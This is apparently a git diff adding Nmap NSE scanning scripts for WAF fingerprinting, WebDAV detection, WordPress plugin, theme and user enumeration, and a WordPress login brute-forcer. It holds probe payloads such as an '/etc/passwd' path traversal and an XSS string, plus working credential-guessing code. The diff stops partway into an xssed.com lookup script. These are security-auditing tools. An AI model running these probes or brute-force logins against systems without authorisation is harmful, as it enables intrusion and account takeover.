+ -- WAFs that are commented out don't have reliable fingerprints
+ -- with no false positives yet.
+
+ bigip = bigip,
+ webknight = webknight,
+ isaserver = isaserver,
+ airlock = airlock,
+ barracuda = barracuda,
+ denyall = denyall,
+ f5trafficshield = f5trafficshield,
+ teros = teros,
+ binarysec = binarysec,
+ profense = profense,
+ netscaler = netscaler,
+ dotdefender = dotdefender,
+ ibmdatapower = ibmdatapower,
+ cloudflare = cloudflare,
+ incapsula = incapsula,
+ uspses = uspses,
+ ciscoacexml = ciscoacexml,
+ modsecurity = modsecurity,
+ naxsi = naxsi,
+ -- netcontinuum = netcontinuum,
+ -- secureiis = secureiis,
+ -- urlscan = urlscan,
+ -- beeware = beeware,
+ -- hyperguard = hyperguard,
+ -- websecurity = websecurity,
+ -- imperva = imperva,
+ -- ibmwas = ibmwas,
+ -- nevisProxy = nevisProxy,
+ -- genericwaf = genericwaf,
+}
+
+
+local send_requests = function(host, port, root)
+ local requests, all, responses = {}, {}, {}
+
+ local dirtraversal = "../../../etc/passwd"
+ local cleanhtml = "<hellot>hello"
+ local xssstring = "<script>alert(1)</script>"
+ local cmdexe = "cmd.exe"
+
+ -- Normal index
+ all = http.pipeline_add(root, nil, all, "GET")
+ table.insert(requests,"normal")
+
+ -- Normal nonexistent
+ all = http.pipeline_add(root .. "asofKlj", nil, all, "GET")
+ table.insert(requests,"nonexistent")
+
+ -- Invalid Method
+ all = http.pipeline_add(root, nil, all, "ASDE")
+ table.insert(requests,"invalidmethod")
+
+ -- Directory traversal
+ all = http.pipeline_add(root .. "?parameter=" .. dirtraversal, nil, all, "GET")
+ table.insert(requests,"invalidmethod")
+
+ -- Invalid Host
+ all = http.pipeline_add(root , {header= {Host = "somerandomsite.com"}}, all, "GET")
+ table.insert(requests,"invalidhost")
+
+ --Clean HTML encoded
+ all = http.pipeline_add(root .. "?parameter=" .. cleanhtml , nil, all, "GET")
+ table.insert(requests,"cleanhtml")
+
+ --Clean HTML
+ all = http.pipeline_add(root .. "?parameter=" .. url.escape(cleanhtml), nil, all, "GET")
+ table.insert(requests,"cleanhtmlencoded")
+
+ -- XSS
+ all = http.pipeline_add(root .. "?parameter=" .. xssstring, nil, all, "GET")
+ table.insert(requests,"xss")
+
+ -- XSS encoded
+ all = http.pipeline_add(root .. "?parameter=" .. url.escape(xssstring), nil, all, "GET")
+ table.insert(requests,"xssencoded")
+
+ -- cmdexe
+ all = http.pipeline_add(root .. "?parameter=" .. cmdexe, nil, all, "GET")
+ table.insert(requests,"cmdexe")
+
+
+ -- send all requests
+ local pipeline_responses = http.pipeline_go(host, port, all)
+ if not pipeline_responses then
+ stdnse.debug1("No response from pipelined requests")
+ return nil
+ end
+
+ -- Associate responses with requests names
+ for i, response in pairs(pipeline_responses) do
+ responses[requests[i]] = response
+ end
+
+ return responses
+end
+
+action = function(host, port)
+ local root = stdnse.get_script_args(SCRIPT_NAME .. '.root') or "/"
+ local intensive = stdnse.get_script_args(SCRIPT_NAME .. '.intensive')
+ local result = {"Detected WAF", {}}
+
+ -- We send requests
+ local responses = send_requests(host, port, root)
+ if not responses then
+ return nil
+ end
+
+ -- We iterate over wafs table passing the responses list to each function to analyze
+ -- the presence of any fingerprints.
+ for _, waf in pairs(wafs) do
+ waf.match(responses)
+ if intensive then waf.intensive(host, port, root, responses) end
+ if waf.detected then
+ if waf.version then
+ table.insert(result[2], waf.name .. " version " .. waf.version)
+ else
+ table.insert(result[2], waf.name)
+ end
+ end
+ end
+ if #result[2] > 0 then
+ return stdnse.format_output(true, result)
+ end
+end
diff --git a/scripts/http-webdav-scan.nse b/scripts/http-webdav-scan.nse
new file mode 100644
index 0000000..68029aa
--- /dev/null
+++ b/scripts/http-webdav-scan.nse
@@ -0,0 +1,182 @@
+local http = require "http"
+local ipOps = require "ipOps"
+local table = require "table"
+local tableaux = require "tableaux"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+
+description = [[
+A script to detect WebDAV installations. Uses the OPTIONS and PROPFIND methods.
+
+The script sends an OPTIONS request which lists the dav type, server type, date
+and allowed methods. It then sends a PROPFIND request and tries to fetch exposed
+directories and internal ip addresses by doing pattern matching in the response body.
+
+This script takes inspiration from the various scripts listed here:
+* http://carnal0wnage.attackresearch.com/2010/05/more-with-metasploit-and-webdav.html
+* https://github.com/sussurro/Metasploit-Tools/blob/master/modules/auxiliary/scanner/http/webdav_test.rb
+* http://code.google.com/p/davtest/
+]]
+
+---
+-- @usage
+-- nmap --script http-webdav-scan -p80,8080 <target>
+--
+-- @args http-webdav-scan.path The path to start in; e.g. <code>"/web/"</code>
+-- will try <code>"/web/xxx"</code>.
+--
+-- @output
+-- PORT STATE SERVICE
+-- 8008/tcp open http
+-- | http-webdav-scan:
+-- | Allowed Methods: GET, HEAD, COPY, MOVE, POST, PUT, PROPFIND, PROPPATCH, OPTIONS, MKCOL, DELETE, TRACE, REPORT
+-- | Server Type: DAV/0.9.8 Python/2.7.6
+-- | Server Date: Fri, 22 May 2015 19:28:00 GMT
+-- | WebDAV type: Unknown
+-- | Directory Listing:
+-- | http://localhost
+-- | http://localhost:8008/WebDAVTest_b1tqTWeyRR
+-- | http://localhost:8008/WebDAVTest_A0QWJb7hcK
+-- | http://localhost:8008/WebDAVTest_hf9Mqqpi1M
+-- |_ http://localhost:8008/WebDAVTest_Ds5KBFywDq
+--
+-- @xmloutput
+-- <elem key="Allowed Methods">GET, HEAD, COPY, MOVE, POST, PUT,
+-- PROPFIND, PROPPATCH, OPTIONS, MKCOL, DELETE, TRACE, REPORT</elem>
+-- <elem key="Server Type">DAV/0.9.8 Python/2.7.6</elem>
+-- <elem key="Server Date">Fri, 22 May 2015 19:28:00 GMT</elem>
+-- <elem key="WebDAV type">Unknown</elem>
+-- <table key="Directory Listing">
+-- <elem>http://localhost</elem>
+-- <elem>http://localhost:8008/WebDAVTest_b1tqTWeyRR</elem>
+-- <elem>http://localhost:8008/WebDAVTest_A0QWJb7hcK</elem>
+-- <elem>http://localhost:8008/WebDAVTest_hf9Mqqpi1M</elem>
+-- <elem>http://localhost:8008/WebDAVTest_Ds5KBFywDq</elem>
+-- </table>
+
+author = "Gyanendra Mishra"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {
+ "safe",
+ "discovery",
+ "default",
+}
+
+
+portrule = shortport.http
+
+-- a function to test the OPTIONS method.
+local function get_options (host, port, path)
+ -- check if WebDAV is installed or not.
+ local response = http.generic_request(host, port, "OPTIONS", path)
+ if response and response.status == 200 then
+ local ret = {}
+ ret['Server Type'] = response.header['server']
+ ret['Allowed Methods'] = response.header['allow']
+ ret['Public Options'] = response.header['public']
+ ret['WebDAV'] = false
+ ret['Server Date'] = response.header['date']
+
+ if response.header['dav'] and response.header['dav']:find('1') then
+ ret['WebDAV'] = true
+ ret['WebDAV type'] = 'Unknown'
+ if response.header['X-MSDAVEXT'] then
+ ret['WebDAV type'] = 'SHAREPOINT DAV'
+ end
+ if response.header['dav']:match 'apache' then
+ ret['WebDAV type'] = 'Apache DAV'
+ end
+ end
+ return ret
+
+ else
+ return false
+ end
+end
+
+-- a function to extract internal ip addresses from PROPFIND response.
+local function getIPs(body)
+ local ip_pats = {'%f[%d]192%.168%.%d+%.%d+',
+ '%f[%d]10%.%d+%.%d+%.%d+',
+ '%f[%d]172%.1[6-9]%.%d+%.%d+',
+ '%f[%d]172%.2%d%.%d+%.%d+',
+ '%f[%d]172%.3[01]%.%d+%.%d+'}
+ local result = {}
+ for _, ip_pat in pairs(ip_pats) do
+ for ip in body:gmatch(ip_pat) do
+ if ipOps.expand_ip(ip) then
+ result[ip] = true
+ end
+ end
+ end
+ return tableaux.keys(result)
+end
+
+-- a function to test the PROPFIND method.
+local function check_propfind (host, port, path)
+ local options = {
+ header = {
+ ["Depth"] = 1,
+ ["Content-Length"] = 0,
+ },
+ }
+ local response = http.generic_request(host, port, "PROPFIND", path, options)
+ if response and response.status ~= 207 then
+ return false
+ end
+ local ret = {}
+ ret['WebDAV'] = false
+ local dir_pat = '<.-[hH][rR][eE][fF][^>]->(.-)</.-[hH][rR][eE][fF]>'
+ if response.body:find '<D:status>HTTP/1.1 200 OK</D:status>' then
+ ret['WebDAV'] = true
+ end
+ ret['Server Type'] = response.header['server']
+ ret['Server Date'] = response.header['date']
+ local ips = getIPs(response.body)
+ if next(ips) then ret['Exposed Internal IPs'] = getIPs(response.body) end
+ if response.body:gmatch(dir_pat) then
+ ret['Directory Listing'] = {}
+ for dir in response.body:gmatch(dir_pat) do
+ table.insert(ret['Directory Listing'], dir)
+ end
+ end
+ return ret
+end
+
+function action (host, port)
+
+ local path = stdnse.get_script_args(SCRIPT_NAME .. ".path") or '/'
+ local enabled = false
+ local output = stdnse.output_table()
+
+ local info = get_options(host, port, path)
+ if info then
+ if info['WebDAV'] then
+ enabled = true
+ stdnse.debug1("Target has WebDAV enabled.")
+ for name, data in pairs(info) do
+ if name ~= 'WebDAV' then
+ output[name] = data
+ end
+ end
+ else
+ stdnse.debug1 "Target isn't reporting WebDAV"
+ end
+ end
+
+ local davinfo = check_propfind(host, port, path)
+ if davinfo then
+ if davinfo['WebDAV'] then
+ for name, data in pairs(davinfo) do
+ if not output[name] and name ~= 'WebDAV' then
+ output[name] = data
+ end
+ end
+ if not enabled then
+ stdnse.debug1 "Target has WebDAV enabled."
+ end
+ end
+ end
+
+ if #output > 0 then return output else return nil end
+end
diff --git a/scripts/http-wordpress-brute.nse b/scripts/http-wordpress-brute.nse
new file mode 100644
index 0000000..842cdf7
--- /dev/null
+++ b/scripts/http-wordpress-brute.nse
@@ -0,0 +1,141 @@
+local brute = require "brute"
+local creds = require "creds"
+local http = require "http"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+
+description = [[
+performs brute force password auditing against Wordpress CMS/blog installations.
+
+This script uses the unpwdb and brute libraries to perform password guessing. Any successful guesses are
+stored using the credentials library.
+
+Wordpress default uri and form names:
+* Default uri:<code>wp-login.php</code>
+* Default uservar: <code>log</code>
+* Default passvar: <code>pwd</code>
+]]
+
+---
+-- @usage
+-- nmap -sV --script http-wordpress-brute <target>
+-- nmap -sV --script http-wordpress-brute
+-- --script-args 'userdb=users.txt,passdb=passwds.txt,http-wordpress-brute.hostname=domain.com,
+-- http-wordpress-brute.threads=3,brute.firstonly=true' <target>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- | http-wordpress-brute:
+-- | Accounts
+-- | 0xdeadb33f:god => Login correct
+-- | Statistics
+-- |_ Perfomed 103 guesses in 17 seconds, average tps: 6
+--
+-- @args http-wordpress-brute.uri points to the file 'wp-login.php'. Default /wp-login.php
+-- @args http-wordpress-brute.hostname sets the host header in case of virtual
+-- hosting
+-- @args http-wordpress-brute.uservar sets the http-variable name that holds the
+-- username used to authenticate. Default: log
+-- @args http-wordpress-brute.passvar sets the http-variable name that holds the
+-- password used to authenticate. Default: pwd
+-- @args http-wordpress-brute.threads sets the number of threads. Default: 3
+--
+-- Other useful arguments when using this script are:
+-- * http.useragent = String - User Agent used in HTTP requests
+-- * brute.firstonly = Boolean - Stop attack when the first credentials are found
+-- * brute.mode = user/creds/pass - Username password iterator
+-- * passdb = String - Path to password list
+-- * userdb = String - Path to user list
+--
+-- @see http-form-brute.nse
+
+author = "Paulino Calderon <calderon@websec.mx>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "brute"}
+
+
+portrule = shortport.http
+
+local DEFAULT_WP_URI = "/wp-login.php"
+local DEFAULT_WP_USERVAR = "log"
+local DEFAULT_WP_PASSVAR = "pwd"
+local DEFAULT_THREAD_NUM = 3
+
+---
+--This class implements the Driver class from the Brute library
+---
+Driver = {
+ new = function(self, host, port, options)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.hostname = stdnse.get_script_args('http-wordpress-brute.hostname')
+ o.http_options = {
+ no_cache = true,
+ header = {
+ -- nil just means not set, so default http.lua behavior
+ Host = stdnse.get_script_args('http-wordpress-brute.hostname')
+ }
+ }
+ o.host = host
+ o.port = port
+ o.uri = stdnse.get_script_args('http-wordpress-brute.uri') or DEFAULT_WP_URI
+ o.options = options
+ return o
+ end,
+
+ connect = function( self )
+ -- This will cause problems, as there is no way for us to "reserve"
+ -- a socket. We may end up here early with a set of credentials
+ -- which won't be guessed until the end, due to socket exhaustion.
+ return true
+ end,
+
+ login = function( self, username, password )
+ stdnse.debug2("HTTP POST %s%s", self.http_options.header.Host or stdnse.get_hostname(self.host), self.uri)
+ local response = http.post( self.host, self.port, self.uri, self.http_options,
+ nil, { [self.options.uservar] = username, [self.options.passvar] = password } )
+ -- This redirect is taking us to /wp-admin
+ if response.status == 302 then
+ return true, creds.Account:new( username, password, creds.State.VALID)
+ end
+
+ return false, brute.Error:new( "Incorrect password" )
+ end,
+
+ disconnect = function( self )
+ return true
+ end,
+
+ check = function( self )
+ local response = http.get( self.host, self.port, self.uri, self.http_options )
+ stdnse.debug1("HTTP GET %s%s", self.http_options.header.Host or stdnse.get_hostname(self.host), self.uri)
+ -- Check if password field is there
+ if ( response.status == 200 and response.body:match('type=[\'"]password[\'"]')) then
+ stdnse.debug1("Initial check passed. Launching brute force attack")
+ return true
+ else
+ stdnse.debug1("Initial check failed. Password field wasn't found")
+ end
+
+ return false
+ end
+
+}
+---
+--MAIN
+---
+action = function( host, port )
+ local status, result, engine
+ local uservar = stdnse.get_script_args('http-wordpress-brute.uservar') or DEFAULT_WP_USERVAR
+ local passvar = stdnse.get_script_args('http-wordpress-brute.passvar') or DEFAULT_WP_PASSVAR
+ local thread_num = tonumber(stdnse.get_script_args("http-wordpress-brute.threads")) or DEFAULT_THREAD_NUM
+
+ engine = brute.Engine:new( Driver, host, port, { uservar = uservar, passvar = passvar } )
+ engine:setMaxThreads(thread_num)
+ engine.options.script_name = SCRIPT_NAME
+ status, result = engine:start()
+
+ return result
+end
diff --git a/scripts/http-wordpress-enum.nse b/scripts/http-wordpress-enum.nse
new file mode 100644
index 0000000..35d7a2a
--- /dev/null
+++ b/scripts/http-wordpress-enum.nse
@@ -0,0 +1,299 @@
+local coroutine = require "coroutine"
+local http = require "http"
+local io = require "io"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Enumerates themes and plugins of Wordpress installations. The script can also detect
+ outdated plugins by comparing version numbers with information pulled from api.wordpress.org.
+
+The script works with two separate databases for themes (wp-themes.lst) and plugins (wp-plugins.lst).
+The databases are sorted by popularity and the script will search only the top 100 entries by default.
+The theme database has around 32,000 entries while the plugin database has around 14,000 entries.
+
+The script determines the version number of a plugin by looking at the readme.txt file inside the plugin
+directory and it uses the file style.css inside a theme directory to determine the theme version.
+If the script argument check-latest is set to true, the script will query api.wordpress.org to obtain
+the latest version number available. This check is disabled by default since it queries an external service.
+
+This script is a combination of http-wordpress-plugins.nse and http-wordpress-themes.nse originally
+submited by Ange Gutek and Peter Hill.
+
+TODO:
+-Implement version checking for themes.
+]]
+
+---
+-- @see http-vuln-cve2014-8877.nse
+--
+-- @usage nmap -sV --script http-wordpress-enum <target>
+-- @usage nmap --script http-wordpress-enum --script-args check-latest=true,search-limit=10 <target>
+-- @usage nmap --script http-wordpress-enum --script-args type="themes" <target>
+--
+-- @args http-wordpress-enum.root Base path. By default the script will try to find a WP directory
+-- installation or fall back to '/'.
+-- @args http-wordpress-enum.search-limit Number of entries or the string "all". Default:100.
+-- @args http-wordpress-enum.type Search type. Available options:plugins, themes or all. Default:all.
+-- @args http-wordpress-enum.check-latest Retrieves latest plugin version information from wordpress.org.
+-- Default:false.
+--
+-- @output
+-- PORT STATE SERVICE
+-- 80/tcp open http
+-- | http-wordpress-enum:
+-- | Search limited to top 100 themes/plugins
+-- | plugins
+-- | akismet
+-- | contact-form-7 4.1 (latest version:4.1)
+-- | all-in-one-seo-pack (latest version:2.2.5.1)
+-- | google-sitemap-generator 4.0.7.1 (latest version:4.0.8)
+-- | jetpack 3.3 (latest version:3.3)
+-- | wordfence 5.3.6 (latest version:5.3.6)
+-- | better-wp-security 4.6.4 (latest version:4.6.6)
+-- | google-analytics-for-wordpress 5.3 (latest version:5.3)
+-- | themes
+-- | twentytwelve
+-- |_ twentyfourteen
+--
+-- @xmloutput
+-- <table key="google-analytics-for-wordpress">
+-- <elem key="installation_version">5.1</elem>
+-- <elem key="latest_version">5.3</elem>
+-- <elem key="name">google-analytics-for-wordpress</elem>
+-- <elem key="path">/wp-content/plugins/google-analytics-for-wordpress/</elem>
+-- <elem key="category">plugins</elem>
+-- </table>
+-- <table key="twentytwelve">
+-- <elem key="category">themes</elem>
+-- <elem key="path">/wp-content/themes/twentytwelve/</elem>
+-- <elem key="name">twentytwelve</elem>
+-- </table>
+-- <elem key="title">Search limited to top 100 themes/plugins</elem>
+---
+
+author = {"Ange Gutek", "Peter Hill", "Gyanendra Mishra", "Paulino Calderon"}
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"discovery", "intrusive"}
+
+local DEFAULT_SEARCH_LIMIT = 100
+local DEFAULT_PLUGINS_PATH = '/wp-content/plugins/'
+local WORDPRESS_API_URL = 'http://api.wordpress.org/plugins/info/1.0/'
+
+portrule = shortport.http
+
+--Reads database
+local function read_data_file(file)
+ return coroutine.wrap(function()
+ for line in file:lines() do
+ if not line:match("^%s*#") and not line:match("^%s*$") then
+ coroutine.yield(line)
+ end
+ end
+ end)
+end
+
+--Checks if the plugin/theme file exists
+local function existence_check_assign(act_file)
+ if not act_file then
+ return false
+ end
+ local temp_file = io.open(act_file,"r")
+ if not temp_file then
+ return false
+ end
+ return temp_file
+ end
+
+--Obtains version from readme.txt or style.css
+local function get_version(path, typeof, host, port)
+ local pattern, version, versioncheck
+
+ if typeof == 'plugins' then
+ path = path .. "readme.txt"
+ pattern = 'Stable tag: ([.0-9]*)'
+ else
+ path = path .. "style.css"
+ pattern = 'Version: ([.0-9]*)'
+ end
+
+ stdnse.debug1("Extracting version of path:%s", path)
+ versioncheck = http.get(host, port, path)
+ if versioncheck.body then
+ version = versioncheck.body:match(pattern)
+ end
+ stdnse.debug1("Version found: %s", version)
+ return version
+end
+
+-- check if the plugin is the latest
+local function get_latest_plugin_version(plugin)
+ stdnse.debug1("Retrieving the latest version of %s", plugin)
+ local apiurl = WORDPRESS_API_URL .. plugin .. ".json"
+ local latestpluginapi = http.get('api.wordpress.org', '80', apiurl)
+ local latestpluginpattern = '","version":"([.0-9]*)'
+ local latestpluginversion = latestpluginapi.body:match(latestpluginpattern)
+ stdnse.debug1("Latest version:%s", latestpluginversion)
+ return latestpluginversion
+end
+
+action = function(host, port)
+
+ local result = {}
+ local file = {}
+ local all = {}
+ local bfqueries = {}
+ local wp_autoroot
+ local output_table = stdnse.output_table()
+
+ --Read script arguments
+ local operation_type_arg = stdnse.get_script_args(SCRIPT_NAME .. ".type") or "all"
+ local apicheck = stdnse.get_script_args(SCRIPT_NAME .. ".check-latest")
+ local wp_root = stdnse.get_script_args(SCRIPT_NAME .. ".root")
+ local resource_search_arg = stdnse.get_script_args(SCRIPT_NAME .. ".search-limit") or DEFAULT_SEARCH_LIMIT
+
+ local wp_themes_file = nmap.fetchfile("nselib/data/wp-themes.lst")
+ local wp_plugins_file = nmap.fetchfile("nselib/data/wp-plugins.lst")
+
+ if operation_type_arg == "themes" or operation_type_arg == "all" then
+ local theme_db = existence_check_assign(wp_themes_file)
+ if not theme_db then
+ return false, "Couldn't find wp-themes.lst in /nselib/data/"
+ else
+ file['themes'] = theme_db
+ end
+ end
+ if operation_type_arg == "plugins" or operation_type_arg == "all" then
+ local plugin_db = existence_check_assign(wp_plugins_file)
+ if not plugin_db then
+ return false, "Couldn't find wp-plugins.lst in /nselib/data/"
+ else
+ file['plugins'] = plugin_db
+ end
+ end
+
+ local resource_search
+ if resource_search_arg == "all" then
+ resource_search = nil
+ else
+ resource_search = tonumber(resource_search_arg)
+ end
+
+ -- Identify servers that answer 200 to invalid HTTP requests and exit as these would invalidate the tests
+ local status_404, result_404, known_404 = http.identify_404(host,port)
+ if ( status_404 and result_404 == 200 ) then
+ stdnse.debug1("Exiting due to ambiguous response from web server on %s:%s. All URIs return status 200.", host.ip, port.number)
+ return nil
+ end
+
+ -- search the website root for evidences of a Wordpress path
+ if not wp_root then
+ local target_index = http.get(host,port, "/")
+
+ if target_index.status and target_index.body then
+ wp_autoroot = string.match(target_index.body, "http://[%w%-%.]-/([%w%-%./]-)wp%-content")
+ if wp_autoroot then
+ wp_autoroot = "/" .. wp_autoroot
+ stdnse.debug(1,"WP root directory: %s", wp_autoroot)
+ else
+ stdnse.debug(1,"WP root directory: wp_autoroot was unable to find a WP content dir (root page returns %d).", target_index.status)
+ end
+ end
+ end
+
+ --build a table of both directories to brute force and the corresponding WP resources' name
+ local resource_count=0
+ for key,value in pairs(file) do
+ local l_file = value
+ resource_count = 0
+ for line in read_data_file(l_file) do
+ if resource_search and resource_count >= resource_search then
+ break
+ end
+
+ local target
+ if wp_root then
+ -- Give user-supplied argument the priority
+ target = wp_root .. string.gsub(DEFAULT_PLUGINS_PATH, "plugins", key) .. line .. "/"
+ elseif wp_autoroot then
+ -- Maybe the script has discovered another Wordpress content directory
+ target = wp_autoroot .. string.gsub(DEFAULT_PLUGINS_PATH, "plugins", key) .. line .. "/"
+ else
+ -- Default WP directory is root
+ target = string.gsub(DEFAULT_PLUGINS_PATH, "plugins", key) .. line .. "/"
+ end
+
+
+ target = string.gsub(target, "//", "/")
+ table.insert(bfqueries, {target, line})
+ all = http.pipeline_add(target, nil, all, "GET")
+ resource_count = resource_count + 1
+
+ end
+ -- release hell...
+ local pipeline_returns = http.pipeline_go(host, port, all)
+ if not pipeline_returns then
+ stdnse.verbose1("got no answers from pipelined queries")
+ return nil
+ end
+ local response = {}
+ response['name'] = key
+ for i, data in pairs(pipeline_returns) do
+ -- if it's not a four-'o-four, it probably means that the plugin is present
+ if http.page_exists(data, result_404, known_404, bfqueries[i][1], true) then
+ stdnse.debug(1,"Found a plugin/theme:%s", bfqueries[i][2])
+ local version = get_version(bfqueries[i][1],key,host,port)
+ local output = nil
+
+ --We format the table for XML output
+ bfqueries[i].path = bfqueries[i][1]
+ bfqueries[i].category = key
+ bfqueries[i].name = bfqueries[i][2]
+ bfqueries[i][1] = nil
+ bfqueries[i][2] = nil
+
+ if version then
+ output = bfqueries[i].name .." ".. version
+ bfqueries[i].installation_version = version
+ --Right now we can only get the version number of plugins through api.wordpress.org
+ if apicheck == "true" and key=="plugins" then
+ local latestversion = get_latest_plugin_version(bfqueries[i].name)
+ if latestversion then
+ output = output .. " (latest version:" .. latestversion .. ")"
+ bfqueries[i].latest_version = latestversion
+ end
+ end
+ else
+ output = bfqueries[i].name
+ end
+ output_table[bfqueries[i].name] = bfqueries[i]
+ table.insert(response, output)
+ end
+ end
+ table.insert(result, response)
+ bfqueries={}
+ all = {}
+
+end
+ local len = 0
+ for i, v in ipairs(result) do len = len >= #v and len or #v end
+ if len > 0 then
+ output_table.title = string.format("Search limited to top %s themes/plugins", resource_count)
+ result.name = output_table.title
+ return output_table, stdnse.format_output(true, result)
+ else
+ if nmap.verbosity()>1 then
+ return string.format("Nothing found amongst the top %s resources,"..
+ "use --script-args search-limit=<number|all> for deeper analysis)", resource_count)
+ else
+ return nil
+ end
+ end
+
+end
+
diff --git a/scripts/http-wordpress-users.nse b/scripts/http-wordpress-users.nse
new file mode 100644
index 0000000..30b8270
--- /dev/null
+++ b/scripts/http-wordpress-users.nse
@@ -0,0 +1,149 @@
+local http = require "http"
+local io = require "io"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Enumerates usernames in Wordpress blog/CMS installations by exploiting an
+information disclosure vulnerability existing in versions 2.6, 3.1, 3.1.1,
+3.1.3 and 3.2-beta2 and possibly others.
+
+Original advisory:
+* http://www.talsoft.com.ar/site/research/security-advisories/wordpress-user-id-and-user-name-disclosure/
+]]
+
+---
+-- @usage
+-- nmap -p80 --script http-wordpress-users <target>
+-- nmap -sV --script http-wordpress-users --script-args limit=50 <target>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- | http-wordpress-users:
+-- | Username found: admin
+-- | Username found: mauricio
+-- | Username found: cesar
+-- | Username found: lean
+-- | Username found: alex
+-- | Username found: ricardo
+-- |_Search stopped at ID #25. Increase the upper limit if necessary with 'http-wordpress-users.limit'
+--
+-- @args http-wordpress-users.limit Upper limit for ID search. Default: 25
+-- @args http-wordpress-users.basepath Base path to Wordpress. Default: /
+-- @args http-wordpress-users.out If set it saves the username list in this file.
+---
+
+author = "Paulino Calderon <calderon@websec.mx>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"auth", "intrusive", "vuln"}
+
+
+portrule = shortport.http
+
+---
+-- Returns the username extracted from the url corresponding to the id passed
+-- If user id doesn't exists returns false
+-- @param host Host table
+-- @param port Port table
+-- @param path Base path to WP
+-- @param id User id
+-- @return false if not found otherwise it returns the username
+---
+local function get_wp_user(host, port, path, id)
+ stdnse.debug2("Trying to get username with id %s", id)
+ local req = http.get(host, port, path.."?author="..id, { no_cache = true})
+ if req.status then
+ stdnse.debug1("User id #%s returned status %s", id, req.status)
+ if req.status == 301 then
+ local _, _, user = string.find(req.header.location, 'https?://.*/.*/(.*)/')
+ return user
+ elseif req.status == 200 then
+ -- Users with no posts get a 200 response, but the name is in an RSS link.
+ -- http://seclists.org/nmap-dev/2011/q3/812
+ local _, _, user = string.find(req.body, 'https?://.-/author/([^/]+)/feed/')
+ return user
+ end
+ end
+ return false
+end
+
+---
+--Returns true if WP installation exists.
+--We assume an installation exists if wp-login.php is found
+--@param host Host table
+--@param port Port table
+--@param path Path to WP
+--@return True if WP was found
+--
+local function check_wp(host, port, path)
+ stdnse.debug2("Checking %swp-login.php ", path)
+ local req = http.get(host, port, path.."wp-login.php", {no_cache=true})
+ if req.status and req.status == 200 then
+ return true
+ end
+ return false
+end
+
+---
+--Writes string to file
+--Taken from: hostmap.nse
+--@param filename Target filename
+--@param contents String to save
+--@return true when successful
+local function write_file(filename, contents)
+ local f, err = io.open(filename, "w")
+ if not f then
+ return f, err
+ end
+ f:write(contents)
+ f:close()
+ return true
+end
+
+
+---
+--MAIN
+---
+action = function(host, port)
+ local basepath = stdnse.get_script_args(SCRIPT_NAME .. ".basepath") or "/"
+ local limit = stdnse.get_script_args(SCRIPT_NAME .. ".limit") or 25
+ local filewrite = stdnse.get_script_args(SCRIPT_NAME .. ".out")
+ local output = {""}
+ local users = {}
+ --First, we check this is WP
+ if not(check_wp(host, port, basepath)) then
+ if nmap.verbosity() >= 2 then
+ return "[Error] Wordpress installation was not found. We couldn't find wp-login.php"
+ else
+ return
+ end
+ end
+
+ --Incrementing ids to enum users
+ for i=1, tonumber(limit) do
+ local user = get_wp_user(host, port, basepath, i)
+ if user then
+ stdnse.debug1("Username found -> %s", user)
+ output[#output+1] = string.format("Username found: %s", user)
+ users[#users+1] = user
+ end
+ end
+
+ if filewrite and #users>0 then
+ local status, err = write_file(filewrite, table.concat(users, "\n"))
+ if status then
+ output[#output+1] = string.format("Users saved to %s\n", filewrite)
+ else
+ output[#output+1] = string.format("Error saving %s: %s\n", filewrite, err)
+ end
+ end
+
+ if #output > 1 then
+ output[#output+1] = string.format("Search stopped at ID #%s. Increase the upper limit if necessary with 'http-wordpress-users.limit'", limit)
+ return table.concat(output, "\n")
+ end
+end
diff --git a/scripts/http-xssed.nse b/scripts/http-xssed.nse
new file mode 100644
index 0000000..5b6403d
--- /dev/null
+++ b/scripts/http-xssed.nse
@@ -0,0 +1,92 @@
+description = [[
+This script searches the xssed.com database and outputs the result.
+]]
+
+---
+-- @usage nmap -p80 --script http-xssed.nse <target>
+--
+-- This script will search the xssed.com database and it will output any
+-- results. xssed.com is the largest online archive of XSS vulnerable
+-- websites.
+--
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- | http-xssed:
+-- | xssed.com found the following previously reported XSS vulnerabilities marked as unfixed:
+-- |
+-- | /redirect/links.aspx?page=http://xssed.com
+-- |
+-- | /derefer.php?url=http://xssed.com/
+-- |
+-- | xssed.com found the following previously reported XSS vulnerabilities marked as fixed:
+-- |
+-- |_ /myBook/myregion.php?targetUrl=javascript:alert(1);
+--
+-- @see http-stored-xss.nse
+-- @see http-dombased-xss.nse
+-- @see http-phpself-xss.nse
+
+author = "George Chatzisofroniou"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"safe", "external", "discovery"}
+
+local http = require "http"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local table = require "table"
+local string = require "string"
+
+portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open")
+
+local XSSED_SITE = "xssed.com"
+local XSSED_SEARCH = "/search?key="
+local XSSED_FOUND = "<b>XSS:</b>"
+local XSSED_FIXED = "<img src='http://data.xssed.org/images/fixed.gif'>&nbsp;FIXED</th>"
+local XSSED_MIRROR = "<a href='(/mirror/%d+/)' target='_blank'>"
+local XSSED_URL = "URL: ([^%s]+)</th>"
+
+action = function(host, port)
+
+ local fixed, unfixed
+
+ local target = XSSED_SEARCH .. (host.targetname or host.name or host.ip)
+
+ -- Only one instantiation of the script should ping xssed at once.
+ local mutex = nmap.mutex("http-xssed")
+ mutex "lock"
+
+ local response = http.get(XSSED_SITE, 80, target, {any_af=true})
+
+ if string.find(response.body, XSSED_FOUND) then
+ fixed = {}
+ unfixed = {}
+ for m in string.gmatch(response.body, XSSED_MIRROR) do
+ local mirror = http.get(XSSED_SITE, 80, m, {any_af=true})
